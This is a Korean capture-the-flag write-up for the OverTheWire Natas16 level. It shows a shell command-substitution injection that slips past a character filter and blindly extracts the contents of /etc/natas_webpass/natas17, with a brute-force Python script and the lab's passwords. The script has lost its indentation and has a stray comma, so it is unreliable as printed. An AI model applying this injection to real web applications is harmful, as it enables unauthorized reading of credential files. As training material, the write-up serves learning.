Natas10의 재탕이다. 하지만 필터링을 좀 더 빡세게 한다:
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
;, | , " 등의 문자들도 모두 막아놓고, 검색값을 따옴표로 둘러싸서 이전 문제와 동일한 방법으로 패스워드를 알아낼 수는 없다.
하지만 $문자를 필터링하지 않아 쉘 명령어 치환을 사용할 수 있다:
https://jupiny.com/2017/07/10/shell-script-basic-2/
예를 들어 /etc/natas_webpass/natas17 이라는 파일이 있다고 가정하면 아래 쉘 명령어를 실행하면:
echo aa$(cat /etc/natas_webpass/natas17)
aa(natas17.txt의 내용)이 출력된다.
하지만 입력값이 grep의 따옴표 안에 들어있으므로 저렇게 cat 명령어로 가져올 수는 없다.
방법이 없을까 생각하다 다음과 같은 방식을 생각해냈다:
우선 natas17의 내용이 임의의 32자리의 패스워드(예: andenwasdew234msasfsxcze322sd09m) 라고 가정하자.
그리고 a로 시작하는 단어가 파일에 있다면 출력하는 grep 명령어를 삽입하자:
echo apple$(grep ^a /etc/natas_webpass/natas17)
/etc/natas_webpass/natas17의 내용이 a로 시작한다면 다음과 같이 출력될 것이다:
appleandenwasdew234msasfsxcze322sd09m
하지만 파일의 내용이 a로 시작하지 않는다면 다음과 같이 출력될 것이다:
apple
즉 패스워드가 a로 시작하지 않으면 검색 결과에 정상적으로 apple, apple's, apples 등의 단어가 출력되겠지만
패스워드가 a로 시작한다면 아무 내용도 출력되지 않을 것이다.
이를 응용하여 Natas15에서 사용한 스크립트를 변형하면 password를 알아낼 수 있다:
import requests
password = ""
chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
for a in range(0, 32) :
for b, in chars:
print("Trying " + password + b + " as password...")
r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=apple%24%28grep+%5E' + password + b + '+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search', auth=('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))
if not "apple" in r.text:
password = password + b
break
마지막으로 다음 요청을 form에 전송하여 획득한 password가 맞는지 확인할 수 있다:
apple$(grep 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw /etc/natas_webpass/natas17)
아무것도 표시되지 않으면 올바른 password, apple, apples 등의 단어가 표시되면 틀린 패스워드다.